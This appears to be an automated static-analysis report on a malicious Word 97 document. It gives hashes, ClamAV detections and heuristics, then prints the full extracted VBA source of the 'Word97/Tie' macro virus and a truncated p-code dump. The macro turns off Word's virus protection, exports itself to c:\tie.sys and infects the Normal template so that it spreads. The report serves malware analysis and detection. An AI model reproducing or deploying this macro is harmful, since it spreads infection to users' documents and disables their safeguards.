Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ab3fa7d6cb99c0bc…

MALICIOUS

Office (OLE)

37.0 KB Created: 1998-08-25 02:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ce5d8c9f8c97ec4512130bc1bc80ce55 SHA-1: d18144388ab48140cdad1832c35c44985c5ba1e1 SHA-256: ab3fa7d6cb99c0bcba891729918f134afd7a0bef14610caa2509baa41e78bb0a
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and Auto_Close functions, indicating a self-replicating macro. The script attempts to export its code to 'c:\tie.sys' and then inject it into the Normal template and other documents, a common technique for macro virus propagation. The presence of legacy markers and the nature of the script suggest an older macro virus variant.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9020 bytes
SHA-256: 79a30323df1b711f5c12c51ded558106414d36250306d7671fafa967e4f7226d
Detection
ClamAV: Doc.Trojan.Class-24
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo 73

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

ties = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

tier = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If tier > 76 And ties > 0 Then GoTo 73

If tier < 76 Then

 Set tvir = NormalTemplate.VBProject.VBComponents.Item(1)

 ActiveDocument.VBProject.VBComponents.Item(1).Name = tvir.Name

 ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\tie.sys"

End If

If ties = 0 Then Set tvir = ActiveDocument.VBProject.VBComponents.Item(1)

 Infection = Int(Rnd * 100)

 If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(84) + Chr(105) + Chr(69) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)

 If Day(Now) = 1 And (Month(Now) > 1) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)

 tvir.codemodule.AddFromFile ("c:\tie.sys")

 With tvir.codemodule

    For x = 1 To 4

    .deletelines 1

    Next x

 End With

 If tier < 76 Then

    With tvir.codemodule

    .replaceline 1, "Sub AutoClose()"

    .replaceline 81, "Sub ToolsMacro()"
       
    .replaceline 29, "If Day(Now) = 1 And (Month(Now) > 1) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(80) + Chr(82) + Chr(79) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)"
    
    .replaceline 31, "Infection = Int (Rnd *100)"

    .replaceline 33, "If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(84) + Chr(105) + Chr(69) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)"

  End With

 End If

 With tvir.codemodule

    For x = 2 To 78 Step 2

    .replaceline x, "'Word97/Tie by Virus" & Application.ActiveWindow

    Next x

 End With

73:

 If tier > 76 And ties = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

 End Sub

Sub ViewVBCode()

End Sub





' Processing file: /opt/analyzer/scan_staging/5c475abdef2c4ac59ad60c06e555df95.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4625 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError 73 
' Line #3:
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St ties 
' Line #11:
' Line #12:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St tier 
' Line #13:
' Line #14:
' 	Ld tier 
' 	LitDI2 0x004C 
' 	Gt 
' 	Ld ties 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 73 
' 	EndIf 
' Line #15:
' Line #16:
' 	Ld tier 
' 	LitDI2 0x004C 
' 	Lt 
' 	IfBlock 
' Line #17:
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set tvir 
' Line #19:
' Line #20:
' 	Ld tvir 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #21:
' Line #22:
' 	LitStr 0x000A "c:\tie.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Ite
... (truncated)

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